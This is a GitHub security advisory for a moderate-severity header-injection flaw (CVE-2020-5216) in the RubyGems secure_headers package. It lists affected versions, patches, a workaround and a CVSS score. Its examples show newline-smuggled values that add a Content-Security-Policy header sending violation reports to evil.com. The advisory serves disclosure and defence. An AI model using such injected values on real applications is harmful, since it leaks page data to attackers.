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Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Moderate severity GitHub Reviewed Published Jan 22, 2020 in github/secure_headers • Updated May 16, 2023

Package

bundler secure_headers (RubyGems)

Affected versions

>= 6.0.0, < 6.3.0
>= 5.0.0, < 5.2.0
< 3.9.0

Patched versions

6.3.0
5.2.0
3.9.0

Description

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

References

@oreoshake oreoshake published to github/secure_headers Jan 22, 2020
Reviewed Jan 23, 2020
Published to the GitHub Advisory Database Jan 23, 2020
Last updated May 16, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS score

0.090%
(39th percentile)

Weaknesses

CVE ID

CVE-2020-5216

GHSA ID

GHSA-w978-rmpf-qmwg
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